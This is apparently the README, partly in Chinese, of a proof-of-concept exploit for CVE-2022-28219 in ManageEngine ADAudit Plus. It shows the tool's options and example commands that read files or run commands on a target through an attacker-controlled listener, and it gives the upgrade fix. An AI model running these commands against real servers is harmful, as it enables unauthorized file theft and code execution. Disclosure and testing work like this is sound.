针对受影响 build 版本低于 7060 的 ManageEngine ADAudit Plus 的 CVE-2022-28219 POC
更多详情请参阅我们的博客: https://www.horizon3.ai/red-team-blog-cve-2022-28219
% python3 CVE-2022-28219.py -h
usage: CVE-2022-28219.py [-h] -t TARGET -l LHOST -d DOMAIN [-lhp HTTP_PORT] [-lfp FTP_PORT] [-f FILE] [-c COMMAND] [-u USER]
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
target URL with port
-l LHOST, --lhost LHOST
local bind IP
-d DOMAIN, --domain DOMAIN
fully qualified domain served by ADAudit Plus
-lhp HTTP_PORT, --http-port HTTP_PORT
local HTTP port to bind to
-lfp FTP_PORT, --ftp-port FTP_PORT
local FTP port to bind to
-f FILE, --file FILE get file or directory listing at given path, use forward slashes and don't include drive, e.g. /windows/win.ini or /users
-c COMMAND, --command COMMAND
command to execute, e.g. calc.exe
-u USER, --user USER user running ADAudit Plus app, useful for finding upload file quickly
例如,要获取 c:\windows\win.ini 文件:
python3 CVE-2022-28219.py -t <target_url> -l <attacker_ip> -d <target_fqdn> -f /windows/win.ini
或者在目标上运行 calc.exe:
python3 CVE-2022-28219.py -t <target_url> -l <attacker_ip> -d <target_fqdn> -c calc.exe
请注意,文件检索和远程代码执行(RCE)要求 ManageEngine ADAudit Plus 运行在 Java 运行时 8u121 或更低版本上。大多数情况下都是如此,因为 ADAudit Plus 自带的默认 Java 运行时版本为 8u051。
升级到 ManageEngine ADAudit Plus build 7060 或更高版本。
本软件纯粹出于学术研究和开发有效防御技术的目的而创建,并非用于攻击系统,除非得到明确授权。项目维护者不对软件的滥用负责或承担任何责任。请负责任地使用。